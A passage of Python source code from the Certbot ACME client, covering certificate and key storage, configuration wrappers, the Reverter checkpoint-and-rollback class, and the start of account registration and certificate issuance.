            logger.debug("Writing chain to %s.", target["chain"])
            f.write(chain)
        with open(target["fullchain"], "w") as f:
            # assumes that OpenSSL.crypto.dump_certificate includes
            # ending newline character
            logger.debug("Writing full chain to %s.", target["fullchain"])
            f.write(cert + chain)

        # Document what we've done in a new renewal config file
        config_file.close()

        # Save only the config items that are relevant to renewal
        values = relevant_values(vars(cli_config.namespace))

        new_config = write_renewal_config(config_filename, config_filename, target, values)
        return cls(new_config.filename, cli_config)

    def save_successor(self, prior_version, new_cert,
                       new_privkey, new_chain, cli_config):
        """Save new cert and chain as a successor of a prior version.

        Returns the new version number that was created.

        .. note:: this function does NOT update links to deploy this
                  version

        :param int prior_version: the old version to which this version
            is regarded as a successor (used to choose a privkey, if the
            key has not changed, but otherwise this information is not
            permanently recorded anywhere)
        :param str new_cert: the new certificate, in PEM format
        :param str new_privkey: the new private key, in PEM format,
            or ``None``, if the private key has not changed
        :param str new_chain: the new chain, in PEM format
        :param .RenewerConfiguration cli_config: parsed command line
            arguments

        :returns: the new version number that was created
        :rtype: int

        """
        # XXX: assumes official archive location rather than examining links
        # XXX: consider using os.open for availability of os.O_EXCL
        # XXX: ensure file permissions are correct; also create directories
        #      if needed (ensuring their permissions are correct)
        # Figure out what the new version is and hence where to save things

        self.cli_config = cli_config
        target_version = self.next_free_version()
        archive = self.cli_config.archive_dir
        # XXX if anyone ever moves a renewal configuration file, this will
        # break... perhaps prefix should be the dirname of the previous
        # cert.pem?
        prefix = os.path.join(archive, self.lineagename)
        target = dict(
            [(kind,
              os.path.join(prefix, "{0}{1}.pem".format(kind, target_version)))
             for kind in ALL_FOUR])

        # Distinguish the cases where the privkey has changed and where it
        # has not changed (in the latter case, making an appropriate symlink
        # to an earlier privkey version)
        if new_privkey is None:
            # The behavior below keeps the prior key by creating a new
            # symlink to the old key or the target of the old key symlink.
            old_privkey = os.path.join(
                prefix, "privkey{0}.pem".format(prior_version))
            if os.path.islink(old_privkey):
                old_privkey = os.readlink(old_privkey)
            else:
                old_privkey = "privkey{0}.pem".format(prior_version)
            logger.debug("Writing symlink to old private key, %s.", old_privkey)
            os.symlink(old_privkey, target["privkey"])
        else:
            with open(target["privkey"], "w") as f:
                logger.debug("Writing new private key to %s.", target["privkey"])
                f.write(new_privkey)

        # Save everything else
        with open(target["cert"], "w") as f:
            logger.debug("Writing certificate to %s.", target["cert"])
            f.write(new_cert)
        with open(target["chain"], "w") as f:
            logger.debug("Writing chain to %s.", target["chain"])
            f.write(new_chain)
        with open(target["fullchain"], "w") as f:
            logger.debug("Writing full chain to %s.", target["fullchain"])
            f.write(new_cert + new_chain)

        symlinks = dict((kind, self.configuration[kind]) for kind in ALL_FOUR)
        # Update renewal config file
        self.configfile = update_configuration(
            self.lineagename, symlinks, cli_config)
        self.configuration = config_with_defaults(self.configfile)

        return target_version






"""Certbot user-supplied configuration."""
import copy
import os

from six.moves.urllib import parse  # pylint: disable=import-error
import zope.interface

from certbot import constants
from certbot import errors
from certbot import interfaces
from certbot import util


@zope.interface.implementer(interfaces.IConfig)
class NamespaceConfig(object):
    """Configuration wrapper around :class:`argparse.Namespace`.

    For more documentation, including available attributes, please see
    :class:`certbot.interfaces.IConfig`. However, note that
    the following attributes are dynamically resolved using
    :attr:`~certbot.interfaces.IConfig.work_dir` and relative
    paths defined in :py:mod:`certbot.constants`:

      - `accounts_dir`
      - `csr_dir`
      - `in_progress_dir`
      - `key_dir`
      - `renewer_config_file`
      - `temp_checkpoint_dir`

    :ivar namespace: Namespace typically produced by
        :meth:`argparse.ArgumentParser.parse_args`.
    :type namespace: :class:`argparse.Namespace`

    """

    def __init__(self, namespace):
        self.namespace = namespace

        self.namespace.config_dir = os.path.abspath(self.namespace.config_dir)
        self.namespace.work_dir = os.path.abspath(self.namespace.work_dir)
        self.namespace.logs_dir = os.path.abspath(self.namespace.logs_dir)

        # Check command line parameters sanity, and error out in case of problem.
        check_config_sanity(self)

    def __getattr__(self, name):
        return getattr(self.namespace, name)

    @property
    def server_path(self):
        """File path based on ``server``."""
        parsed = parse.urlparse(self.namespace.server)
        return (parsed.netloc + parsed.path).replace('/', os.path.sep)

    @property
    def accounts_dir(self):  # pylint: disable=missing-docstring
        return os.path.join(
            self.namespace.config_dir, constants.ACCOUNTS_DIR, self.server_path)

    @property
    def backup_dir(self):  # pylint: disable=missing-docstring
        return os.path.join(self.namespace.work_dir, constants.BACKUP_DIR)

    @property
    def csr_dir(self):  # pylint: disable=missing-docstring
        return os.path.join(self.namespace.config_dir, constants.CSR_DIR)

    @property
    def in_progress_dir(self):  # pylint: disable=missing-docstring
        return os.path.join(self.namespace.work_dir, constants.IN_PROGRESS_DIR)

    @property
    def key_dir(self):  # pylint: disable=missing-docstring
        return os.path.join(self.namespace.config_dir, constants.KEY_DIR)

    @property
    def temp_checkpoint_dir(self):  # pylint: disable=missing-docstring
        return os.path.join(
            self.namespace.work_dir, constants.TEMP_CHECKPOINT_DIR)

    def __deepcopy__(self, _memo):
        # Work around https://bugs.python.org/issue1515 for py26 tests :( :(
        # https://travis-ci.org/letsencrypt/letsencrypt/jobs/106900743#L3276
        new_ns = copy.deepcopy(self.namespace)
        return type(self)(new_ns)


class RenewerConfiguration(object):
    """Configuration wrapper for renewer."""

    def __init__(self, namespace):
        self.namespace = namespace

    def __getattr__(self, name):
        return getattr(self.namespace, name)

    @property
    def archive_dir(self):  # pylint: disable=missing-docstring
        return os.path.join(self.namespace.config_dir, constants.ARCHIVE_DIR)

    @property
    def live_dir(self):  # pylint: disable=missing-docstring
        return os.path.join(self.namespace.config_dir, constants.LIVE_DIR)

    @property
    def renewal_configs_dir(self):  # pylint: disable=missing-docstring
        return os.path.join(
            self.namespace.config_dir, constants.RENEWAL_CONFIGS_DIR)

    @property
    def renewer_config_file(self):  # pylint: disable=missing-docstring
        return os.path.join(
            self.namespace.config_dir, constants.RENEWER_CONFIG_FILENAME)


def check_config_sanity(config):
    """Validate command line options and display error message if
    requirements are not met.

    :param config: IConfig instance holding user configuration
    :type args: :class:`certbot.interfaces.IConfig`

    """
    # Port check
    if config.http01_port == config.tls_sni_01_port:
        raise errors.ConfigurationError(
            "Trying to run http-01 and tls-sni-01 "
            "on the same port ({0})".format(config.tls_sni_01_port))

    # Domain checks
    if config.namespace.domains is not None:
        for domain in config.namespace.domains:
            # This may be redundant, but let's be paranoid
            util.enforce_domain_sanity(domain)






"""Reverter class saves configuration checkpoints and allows for recovery."""
import csv
import glob
import logging
import os
import shutil
import time
import traceback

import six
import zope.component

from certbot import constants
from certbot import errors
from certbot import interfaces
from certbot import util

from certbot.display import util as display_util


logger = logging.getLogger(__name__)


class Reverter(object):
    """Reverter Class - save and revert configuration checkpoints.

    This class can be used by the plugins, especially Installers, to
    undo changes made to the user's system. Modifications to files and
    commands to do undo actions taken by the plugin should be registered
    with this class before the action is taken.

    Once a change has been registered with this class, there are three
    states the change can be in. First, the change can be a temporary
    change. This should be used for changes that will soon be reverted,
    such as config changes for the purpose of solving a challenge.
    Changes are added to this state through calls to
    :func:`~add_to_temp_checkpoint` and reverted when
    :func:`~revert_temporary_config` or :func:`~recovery_routine` is
    called.

    The second state a change can be in is in progress. These changes
    are not temporary, however, they also have not been finalized in a
    checkpoint. A change must become in progress before it can be
    finalized. Changes are added to this state through calls to
    :func:`~add_to_checkpoint` and reverted when
    :func:`~recovery_routine` is called.

    The last state a change can be in is finalized in a checkpoint. A
    change is put into this state by first becoming an in progress
    change and then calling :func:`~finalize_checkpoint`. Changes
    in this state can be reverted through calls to
    :func:`~rollback_checkpoints`.

    As a final note, creating new files and registering undo commands
    are handled specially and use the methods
    :func:`~register_file_creation` and :func:`~register_undo_command`
    respectively. Both of these methods can be used to create either
    temporary or in progress changes.

    .. note:: Consider moving everything over to CSV format.

    :param config: Configuration.
    :type config: :class:`certbot.interfaces.IConfig`

    """
    def __init__(self, config):
        self.config = config

        util.make_or_verify_dir(
            config.backup_dir, constants.CONFIG_DIRS_MODE, os.geteuid(),
            self.config.strict_permissions)

    def revert_temporary_config(self):
        """Reload users original configuration files after a temporary save.

        This function should reinstall the users original configuration files
        for all saves with temporary=True

        :raises .ReverterError: when unable to revert config

        """
        if os.path.isdir(self.config.temp_checkpoint_dir):
            try:
                self._recover_checkpoint(self.config.temp_checkpoint_dir)
            except errors.ReverterError:
                # We have a partial or incomplete recovery
                logger.fatal("Incomplete or failed recovery for %s",
                             self.config.temp_checkpoint_dir)
                raise errors.ReverterError("Unable to revert temporary config")

    def rollback_checkpoints(self, rollback=1):
        """Revert 'rollback' number of configuration checkpoints.

        :param int rollback: Number of checkpoints to reverse. A str num will be
           cast to an integer. So "2" is also acceptable.

        :raises .ReverterError:
            if there is a problem with the input or if the function is
            unable to correctly revert the configuration checkpoints

        """
        try:
            rollback = int(rollback)
        except ValueError:
            logger.error("Rollback argument must be a positive integer")
            raise errors.ReverterError("Invalid Input")
        # Sanity check input
        if rollback < 0:
            logger.error("Rollback argument must be a positive integer")
            raise errors.ReverterError("Invalid Input")

        backups = os.listdir(self.config.backup_dir)
        backups.sort()

        if not backups:
            logger.warning(
                "Certbot hasn't modified your configuration, so rollback "
                "isn't available.")
        elif len(backups) < rollback:
            logger.warning("Unable to rollback %d checkpoints, only %d exist",
                           rollback, len(backups))

        while rollback > 0 and backups:
            cp_dir = os.path.join(self.config.backup_dir, backups.pop())
            try:
                self._recover_checkpoint(cp_dir)
            except errors.ReverterError:
                logger.fatal("Failed to load checkpoint during rollback")
                raise errors.ReverterError(
                    "Unable to load checkpoint during rollback")
            rollback -= 1

    def view_config_changes(self, for_logging=False, num=None):
        """Displays all saved checkpoints.

        All checkpoints are printed by
        :meth:`certbot.interfaces.IDisplay.notification`.

        .. todo:: Decide on a policy for error handling, OSError IOError...

        :raises .errors.ReverterError: If invalid directory structure.

        """
        backups = os.listdir(self.config.backup_dir)
        backups.sort(reverse=True)
        if num:
            backups = backups[:num]
        if not backups:
            logger.info("Certbot has not saved backups of your configuration")

            return
        # Make sure there isn't anything unexpected in the backup folder
        # There should only be timestamped (float) directories
        try:
            for bkup in backups:
                float(bkup)
        except ValueError:
            raise errors.ReverterError(
                "Invalid directories in {0}".format(self.config.backup_dir))

        output = []
        for bkup in backups:
            output.append(time.ctime(float(bkup)))
            cur_dir = os.path.join(self.config.backup_dir, bkup)
            with open(os.path.join(cur_dir, "CHANGES_SINCE")) as changes_fd:
                output.append(changes_fd.read())

            output.append("Affected files:")
            with open(os.path.join(cur_dir, "FILEPATHS")) as paths_fd:
                filepaths = paths_fd.read().splitlines()
                for path in filepaths:
                    output.append("  {0}".format(path))

            if os.path.isfile(os.path.join(cur_dir, "NEW_FILES")):
                with open(os.path.join(cur_dir, "NEW_FILES")) as new_fd:
                    output.append("New Configuration Files:")
                    filepaths = new_fd.read().splitlines()
                    for path in filepaths:
                        output.append("  {0}".format(path))

            output.append(os.linesep)

        if for_logging:
            return os.linesep.join(output)
        zope.component.getUtility(interfaces.IDisplay).notification(
            os.linesep.join(output), display_util.HEIGHT)

    def add_to_temp_checkpoint(self, save_files, save_notes):
        """Add files to temporary checkpoint.

        :param set save_files: set of filepaths to save
        :param str save_notes: notes about changes during the save

        """
        self._add_to_checkpoint_dir(
            self.config.temp_checkpoint_dir, save_files, save_notes)

    def add_to_checkpoint(self, save_files, save_notes):
        """Add files to a permanent checkpoint.

        :param set save_files: set of filepaths to save
        :param str save_notes: notes about changes during the save

        """
        # Check to make sure we are not overwriting a temp file
        self._check_tempfile_saves(save_files)
        self._add_to_checkpoint_dir(
            self.config.in_progress_dir, save_files, save_notes)

    def _add_to_checkpoint_dir(self, cp_dir, save_files, save_notes):
        """Add save files to checkpoint directory.

        :param str cp_dir: Checkpoint directory filepath
        :param set save_files: set of files to save
        :param str save_notes: notes about changes made during the save

        :raises IOError: if unable to open cp_dir + FILEPATHS file
        :raises .ReverterError: if unable to add checkpoint

        """
        util.make_or_verify_dir(
            cp_dir, constants.CONFIG_DIRS_MODE, os.geteuid(),
            self.config.strict_permissions)

        op_fd, existing_filepaths = self._read_and_append(
            os.path.join(cp_dir, "FILEPATHS"))

        idx = len(existing_filepaths)

        for filename in save_files:
            # No need to copy/index already existing files
            # The oldest copy already exists in the directory...
            if filename not in existing_filepaths:
                # Tag files with index so multiple files can
                # have the same filename
                logger.debug("Creating backup of %s", filename)
                try:
                    shutil.copy2(filename, os.path.join(
                        cp_dir, os.path.basename(filename) + "_" + str(idx)))
                    op_fd.write(filename + os.linesep)
                # http://stackoverflow.com/questions/4726260/effective-use-of-python-shutil-copy2
                except IOError:
                    op_fd.close()
                    logger.error(
                        "Unable to add file %s to checkpoint %s",
                        filename, cp_dir)
                    raise errors.ReverterError(
                        "Unable to add file {0} to checkpoint "
                        "{1}".format(filename, cp_dir))
                idx += 1
        op_fd.close()

        with open(os.path.join(cp_dir, "CHANGES_SINCE"), "a") as notes_fd:
            notes_fd.write(save_notes)

    def _read_and_append(self, filepath):  # pylint: disable=no-self-use
        """Reads the file lines and returns a file obj.

        Read the file returning the lines, and a pointer to the end of the file.

        """
        # Open up filepath differently depending on if it already exists
        if os.path.isfile(filepath):
            op_fd = open(filepath, "r+")
            lines = op_fd.read().splitlines()
        else:
            lines = []
            op_fd = open(filepath, "w")

        return op_fd, lines

    def _recover_checkpoint(self, cp_dir):
        """Recover a specific checkpoint.

        Recover a specific checkpoint provided by cp_dir
        Note: this function does not reload augeas.

        :param str cp_dir: checkpoint directory file path

        :raises errors.ReverterError: If unable to recover checkpoint

        """
        # Undo all commands
        if os.path.isfile(os.path.join(cp_dir, "COMMANDS")):
            self._run_undo_commands(os.path.join(cp_dir, "COMMANDS"))
        # Revert all changed files
        if os.path.isfile(os.path.join(cp_dir, "FILEPATHS")):
            try:
                with open(os.path.join(cp_dir, "FILEPATHS")) as paths_fd:
                    filepaths = paths_fd.read().splitlines()
                    for idx, path in enumerate(filepaths):
                        shutil.copy2(os.path.join(
                            cp_dir,
                            os.path.basename(path) + "_" + str(idx)), path)
            except (IOError, OSError):
                # This file is required in all checkpoints.
                logger.error("Unable to recover files from %s", cp_dir)
                raise errors.ReverterError(
                    "Unable to recover files from %s" % cp_dir)

        # Remove any newly added files if they exist
        self._remove_contained_files(os.path.join(cp_dir, "NEW_FILES"))

        try:
            shutil.rmtree(cp_dir)
        except OSError:
            logger.error("Unable to remove directory: %s", cp_dir)
            raise errors.ReverterError(
                "Unable to remove directory: %s" % cp_dir)

    def _run_undo_commands(self, filepath):  # pylint: disable=no-self-use
        """Run all commands in a file."""
        # NOTE: csv module uses native strings. That is, bytes on Python 2 and
        # unicode on Python 3
        with open(filepath, 'r') as csvfile:
            csvreader = csv.reader(csvfile)
            for command in reversed(list(csvreader)):
                try:
                    util.run_script(command)
                except errors.SubprocessError:
                    logger.error(
                        "Unable to run undo command: %s", " ".join(command))

    def _check_tempfile_saves(self, save_files):
        """Verify save isn't overwriting any temporary files.

        :param set save_files: Set of files about to be saved.

        :raises certbot.errors.ReverterError:
            when save is attempting to overwrite a temporary file.

        """
        protected_files = []

        # Get temp modified files
        temp_path = os.path.join(self.config.temp_checkpoint_dir, "FILEPATHS")
        if os.path.isfile(temp_path):
            with open(temp_path, "r") as protected_fd:
                protected_files.extend(protected_fd.read().splitlines())

        # Get temp new files
        new_path = os.path.join(self.config.temp_checkpoint_dir, "NEW_FILES")
        if os.path.isfile(new_path):
            with open(new_path, "r") as protected_fd:
                protected_files.extend(protected_fd.read().splitlines())

        # Verify no save_file is in protected_files
        for filename in protected_files:
            if filename in save_files:
                raise errors.ReverterError(
                    "Attempting to overwrite challenge "
                    "file - %s" % filename)

    def register_file_creation(self, temporary, *files):
        r"""Register the creation of all files during certbot execution.

        Call this method before writing to the file to make sure that the
        file will be cleaned up if the program exits unexpectedly.
        (Before a save occurs)

        :param bool temporary: If the file creation registry is for
            a temp or permanent save.
        :param \*files: file paths (str) to be registered

        :raises certbot.errors.ReverterError: If
            call does not contain necessary parameters or if the file creation
            is unable to be registered.

        """
        # Make sure some files are provided... as this is an error
        # Made this mistake in my initial implementation of apache.dvsni.py
        if not files:
            raise errors.ReverterError("Forgot to provide files to registration call")

        cp_dir = self._get_cp_dir(temporary)

        # Append all new files (that aren't already registered)
        new_fd = None
        try:
            new_fd, ex_files = self._read_and_append(os.path.join(cp_dir, "NEW_FILES"))

            for path in files:
                if path not in ex_files:
                    new_fd.write("{0}{1}".format(path, os.linesep))
        except (IOError, OSError):
            logger.error("Unable to register file creation(s) - %s", files)
            raise errors.ReverterError(
                "Unable to register file creation(s) - {0}".format(files))
        finally:
            if new_fd is not None:
                new_fd.close()

    def register_undo_command(self, temporary, command):
        """Register a command to be run to undo actions taken.

        .. warning:: This function does not enforce order of operations in terms
            of file modification vs. command registration.  All undo commands
            are run first before all normal files are reverted to their previous
            state.  If you need to maintain strict order, you may create
            checkpoints before and after the the command registration. This
            function may be improved in the future based on demand.

        :param bool temporary: Whether the command should be saved in the
            IN_PROGRESS or TEMPORARY checkpoints.
        :param command: Command to be run.
        :type command: list of str

        """
        commands_fp = os.path.join(self._get_cp_dir(temporary), "COMMANDS")
        command_file = None
        try:
            if os.path.isfile(commands_fp):
                command_file = open(commands_fp, "a")
            else:
                command_file = open(commands_fp, "w")

            csvwriter = csv.writer(command_file)
            csvwriter.writerow(command)

        except (IOError, OSError):
            logger.error("Unable to register undo command")
            raise errors.ReverterError(
                "Unable to register undo command.")
        finally:
            if command_file is not None:
                command_file.close()

    def _get_cp_dir(self, temporary):
        """Return the proper reverter directory."""
        if temporary:
            cp_dir = self.config.temp_checkpoint_dir
        else:
            cp_dir = self.config.in_progress_dir

        util.make_or_verify_dir(
            cp_dir, constants.CONFIG_DIRS_MODE, os.geteuid(),
            self.config.strict_permissions)

        return cp_dir

    def recovery_routine(self):
        """Revert configuration to most recent finalized checkpoint.

        Remove all changes (temporary and permanent) that have not been
        finalized. This is useful to protect against crashes and other
        execution interruptions.

        :raises .errors.ReverterError: If unable to recover the configuration

        """
        # First, any changes found in IConfig.temp_checkpoint_dir are removed,
        # then IN_PROGRESS changes are removed The order is important.
        # IN_PROGRESS is unable to add files that are already added by a TEMP
        # change.  Thus TEMP must be rolled back first because that will be the
        # 'latest' occurrence of the file.
        self.revert_temporary_config()
        if os.path.isdir(self.config.in_progress_dir):
            try:
                self._recover_checkpoint(self.config.in_progress_dir)
            except errors.ReverterError:
                # We have a partial or incomplete recovery
                logger.fatal("Incomplete or failed recovery for IN_PROGRESS "
                             "checkpoint - %s",
                             self.config.in_progress_dir)
                raise errors.ReverterError(
                    "Incomplete or failed recovery for IN_PROGRESS checkpoint "
                    "- %s" % self.config.in_progress_dir)

    def _remove_contained_files(self, file_list):  # pylint: disable=no-self-use
        """Erase all files contained within file_list.

        :param str file_list: file containing list of file paths to be deleted

        :returns: Success
        :rtype: bool

        :raises certbot.errors.ReverterError: If
            all files within file_list cannot be removed

        """
        # Check to see that file exists to differentiate can't find file_list
        # and can't remove filepaths within file_list errors.
        if not os.path.isfile(file_list):
            return False
        try:
            with open(file_list, "r") as list_fd:
                filepaths = list_fd.read().splitlines()
                for path in filepaths:
                    # Files are registered before they are added... so
                    # check to see if file exists first
                    if os.path.lexists(path):
                        os.remove(path)
                    else:
                        logger.warning(
                            "File: %s - Could not be found to be deleted %s - "
                            "LE probably shut down unexpectedly",
                            os.linesep, path)
        except (IOError, OSError):
            logger.fatal(
                "Unable to remove filepaths contained within %s", file_list)
            raise errors.ReverterError(
                "Unable to remove filepaths contained within "
                "{0}".format(file_list))

        return True

    def finalize_checkpoint(self, title):
        """Finalize the checkpoint.

        Timestamps and permanently saves all changes made through the use
        of :func:`~add_to_checkpoint` and :func:`~register_file_creation`

        :param str title: Title describing checkpoint

        :raises certbot.errors.ReverterError: when the
            checkpoint is not able to be finalized.

        """
        # Check to make sure an "in progress" directory exists
        if not os.path.isdir(self.config.in_progress_dir):
            return

        changes_since_path = os.path.join(self.config.in_progress_dir, "CHANGES_SINCE")
        changes_since_tmp_path = os.path.join(self.config.in_progress_dir, "CHANGES_SINCE.tmp")

        if not os.path.exists(changes_since_path):
            logger.info("Rollback checkpoint is empty (no changes made?)")
            with open(changes_since_path, 'w') as f:
                f.write("No changes\n")

        # Add title to self.config.in_progress_dir CHANGES_SINCE
        try:
            with open(changes_since_tmp_path, "w") as changes_tmp:
                changes_tmp.write("-- %s --\n" % title)
                with open(changes_since_path, "r") as changes_orig:
                    changes_tmp.write(changes_orig.read())

        # Move self.config.in_progress_dir to Backups directory
            shutil.move(changes_since_tmp_path, changes_since_path)
        except (IOError, OSError):
            logger.error("Unable to finalize checkpoint - adding title")
            logger.debug("Exception was:\n%s", traceback.format_exc())
            raise errors.ReverterError("Unable to add title")

        # rename the directory as a timestamp
        self._timestamp_progress_dir()

    def _checkpoint_timestamp(self):
        "Determine the timestamp of the checkpoint, enforcing monotonicity."
        timestamp = str(time.time())
        others = glob.glob(os.path.join(self.config.backup_dir, "[0-9]*"))
        others = [os.path.basename(d) for d in others]
        others.append(timestamp)
        others.sort()
        if others[-1] != timestamp:
            timetravel = str(float(others[-1]) + 1)
            logger.warning("Current timestamp %s does not correspond to newest reverter "
                "checkpoint; your clock probably jumped. Time travelling to %s",
                timestamp, timetravel)
            timestamp = timetravel
        elif len(others) > 1 and others[-2] == timestamp:
            # It is possible if the checkpoints are made extremely quickly
            # that will result in a name collision.
            logger.debug("Race condition with timestamp %s, incrementing by 0.01", timestamp)
            timetravel = str(float(others[-1]) + 0.01)
            timestamp = timetravel
        return timestamp

    def _timestamp_progress_dir(self):
        """Timestamp the checkpoint."""
        # It is possible save checkpoints faster than 1 per second resulting in
        # collisions in the naming convention.

        for _ in six.moves.range(2):
            timestamp = self._checkpoint_timestamp()
            final_dir = os.path.join(self.config.backup_dir, timestamp)
            try:
                os.rename(self.config.in_progress_dir, final_dir)
                return
            except OSError:
                logger.warning("Extreme, unexpected race condition, retrying (%s)", timestamp)

        # After 10 attempts... something is probably wrong here...
        logger.error(
            "Unable to finalize checkpoint, %s -> %s",
            self.config.in_progress_dir, final_dir)
        raise errors.ReverterError(
            "Unable to finalize checkpoint renaming")






"""Certbot client API."""
import logging
import os

from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.asymmetric import rsa
import OpenSSL
import zope.component

from acme import client as acme_client
from acme import jose
from acme import messages

import certbot

from certbot import account
from certbot import auth_handler
from certbot import configuration
from certbot import constants
from certbot import crypto_util
from certbot import errors
from certbot import error_handler
from certbot import interfaces
from certbot import util
from certbot import reverter
from certbot import storage
from certbot import cli

from certbot.display import ops as display_ops
from certbot.display import enhancements
from certbot.plugins import selection as plugin_selection


logger = logging.getLogger(__name__)


def acme_from_config_key(config, key):
    "Wrangle ACME client construction"
    # TODO: Allow for other alg types besides RS256
    net = acme_client.ClientNetwork(key, verify_ssl=(not config.no_verify_ssl),
                                    user_agent=_determine_user_agent(config))
    return acme_client.Client(config.server, key=key, net=net)


def _determine_user_agent(config):
    """
    Set a user_agent string in the config based on the choice of plugins.
    (this wasn't knowable at construction time)

    :returns: the client's User-Agent string
    :rtype: `str`
    """

    if config.user_agent is None:
        ua = "CertbotACMEClient/{0} ({1}) Authenticator/{2} Installer/{3}"
        ua = ua.format(certbot.__version__, util.get_os_info_ua(),
                       config.authenticator, config.installer)
    else:
        ua = config.user_agent
    return ua


def register(config, account_storage, tos_cb=None):
    """Register new account with an ACME CA.

    This function takes care of generating fresh private key,
    registering the account, optionally accepting CA Terms of Service
    and finally saving the account. It should be called prior to
    initialization of `Client`, unless account has already been created.

    :param .IConfig config: Client configuration.

    :param .AccountStorage account_storage: Account storage where newly
        registered account will be saved to. Save happens only after TOS
        acceptance step, so any account private keys or
        `.RegistrationResource` will not be persisted if `tos_cb`
        returns ``False``.

    :param tos_cb: If ACME CA requires the user to accept a Terms of
        Service before registering account, client action is
        necessary. For example, a CLI tool would prompt the user
        acceptance. `tos_cb` must be a callable that should accept
        `.RegistrationResource` and return a `bool`: ``True`` iff the
        Terms of Service present in the contained
        `.Registration.terms_of_service` is accepted by the client, and
        ``False`` otherwise. ``tos_cb`` will be called only if the
        client acction is necessary, i.e. when ``terms_of_service is not
        None``. This argument is optional, if not supplied it will
        default to automatic acceptance!

    :raises certbot.errors.Error: In case of any client problems, in
        particular registration failure, or unaccepted Terms of Service.
    :raises acme.errors.Error: In case of any protocol problems.

    :returns: Newly registered and saved account, as well as protocol
        API handle (should be used in `Client` initialization).
    :rtype: `tuple` of `.Account` and `acme.client.Client`

    """
    # Log non-standard actions, potentially wrong API calls
    if account_storage.find_all():
        logger.info("There are already existing accounts for %s", config.server)
    if config.email is None:
        if not config.register_unsafely_without_email:
            msg = ("No email was provided and "
                   "--register-unsafely-without-email was not present.")
            logger.warning(msg)
            raise errors.Error(msg)
        if not config.dry_run:
            logger.warning("Registering without email!")

    # Each new registration shall use a fresh new key
    key = jose.JWKRSA(key=jose.ComparableRSAKey(
        rsa.generate_private_key(
            public_exponent=65537,
            key_size=config.rsa_key_size,
            backend=default_backend())))
    acme = acme_from_config_key(config, key)
    # TODO: add phone?
    regr = perform_registration(acme, config)

    if regr.terms_of_service is not None:
        if tos_cb is not None and not tos_cb(regr):
            raise errors.Error(
                "Registration cannot proceed without accepting "
                "Terms of Service.")
        regr = acme.agree_to_tos(regr)

    acc = account.Account(regr, key)
    account.report_new_account(acc, config)
    account_storage.save(acc)

    return acc, acme


def perform_registration(acme, config):
    """
    Actually register new account, trying repeatedly if there are email
    problems

    :param .IConfig config: Client configuration.
    :param acme.client.Client client: ACME client object.

    :returns: Registration Resource.
    :rtype: `acme.messages.RegistrationResource`

    :raises .UnexpectedUpdate:
    """
    try:
        return acme.register(messages.NewRegistration.from_data(email=config.email))
    except messages.Error as e:
        if e.typ == "urn:acme:error:invalidEmail":
            if config.noninteractive_mode:
                msg = ("The ACME server believes %s is an invalid email address. "
                       "Please ensure it is a valid email and attempt "
                       "registration again." % config.email)
                raise errors.Error(msg)
            else:
                config.namespace.email = display_ops.get_email(invalid=True)
                return perform_registration(acme, config)
        else:
            raise


class Client(object):
    """ACME protocol client.

    :ivar .IConfig config: Client configuration.
    :ivar .Account account: Account registered with `register`.
    :ivar .AuthHandler auth_handler: Authorizations handler that will
        dispatch DV challenges to appropriate authenticators
        (providing `.IAuthenticator` interface).
    :ivar .IAuthenticator auth: Prepared (`.IAuthenticator.prepare`)
        authenticator that can solve ACME challenges.
    :ivar .IInstaller installer: Installer.
    :ivar acme.client.Client acme: Optional ACME client API handle.
       You might already have one from `register`.

    """

    def __init__(self, config, account_, auth, installer, acme=None):
        """Initialize a client."""
        self.config = config
        self.account = account_
        self.auth = auth
        self.installer = installer

        # Initialize ACME if account is provided
        if acme is None and self.account is not None:
            acme = acme_from_config_key(config, self.account.key)
        self.acme = acme

        if auth is not None:
            self.auth_handler = auth_handler.AuthHandler(
                auth, self.acme, self.account)
        else:
            self.auth_handler = None

    def obtain_certificate_from_csr(self, domains, csr,
        typ=OpenSSL.crypto.FILETYPE_ASN1, authzr=None):
        """Obtain certificate.

        Internal function with precondition that `domains` are
        consistent with identifiers present in the `csr`.

        :param list domains: Domain names.
        :param .util.CSR csr: DER-encoded Certificate Signing
            Request. The key used to generate this CSR can be different
            than `authkey`.
        :param list authzr: List of
            :class:`acme.messages.AuthorizationResource`

        :returns: `.CertificateResource` and certificate chain (as
            returned by `.fetch_chain`).
        :rtype: tuple

        """
        if self.auth_handler is None:
            msg = ("Unable to obtain certificate because authenticator is "
                   "not set.")
            logger.warning(msg)
            raise errors.Error(msg)
        if self.account.regr is None:
            raise errors.Error("Please register with the ACME server first.")

        logger.debug("CSR: %s, domains: %s", csr, domains)

        if authzr is None:
            authzr = self.auth_handler.get_authorizations(domains)

        certr = self.acme.request_issuance(
            jose.ComparableX509(
                OpenSSL.crypto.load_certificate_request(typ, csr.data)),
                authzr)
        return certr, self.acme.fetch_chain(certr)

    def obtain_certificate(self, domains):
        """Obtains a certificate from the ACME server.

        `.register` must be called before `.obtain_certificate`

        :param list domains: domains to get a certificate

        :returns: `.CertificateResource`, certificate chain (as
            returned by `.fetch_chain`), and newly generated private key
            (`.util.Key`) and DER-encoded Certificate Signing Request
            (`.util.CSR`).
        :rtype: tuple

        """
        authzr = self.auth_handler.get_authorizations(
                domains,
                self.config.allow_subset_of_names)

        auth_domains = set(a.body.identifier.value for a in authzr)
        domains = [d for d in domains if d in auth_domains]

        # Create CSR from names
        key = crypto_util.init_save_key(
            self.config.rsa_key_size, self.config.key_dir)
        csr = crypto_util.init_save_csr(key, domains, self.config.csr_dir)

        return (self.obtain_certificate_from_csr(domains, csr, authzr=authzr)
                                                                + (key, csr))

    def obtain_and_enroll_certificate(self, domains):
        """Obtain and enroll certificate.

        Get a new certificate for the specified domains using the specified
        authenticator and installer, and then create a new renewable lineage
        containing it.

        :param list domains: Domains to request.
        :param plugins: A PluginsFactory object.

        :returns: A new :class:`certbot.storage.RenewableCert` instance
            referred to the enrolled cert lineage, False if the cert could not
            be obtained, or None if doing a successful dry run.

        """
        certr, chain, key, _ = self.obtain_certificate(domains)

        if (self.config.config_dir != constants.CLI_DEFAULTS["config_dir"] or
                self.config.work_dir != constants.CLI_DEFAULTS["work_dir"]):
            logger.warning(
                "Non-standard path(s), might not work with crontab installed "
                "by your operating system package manager")

        if self.config.dry_run:
            logger.debug("Dry run: Skipping creating new lineage for %s",
                        domains[0])
            return None
        else:
            return storage.RenewableCert.new_lineage(
                domains[0], OpenSSL.crypto.dump_certificate(
                    OpenSSL.crypto.FILETYPE_PEM, certr.body.wrapped),
                key.pem, crypto_util.dump_pyopenssl_chain(chain),
                configuration.RenewerConfiguration(self.config.namespace))

    def save_certificate(self, certr, chain_cert,
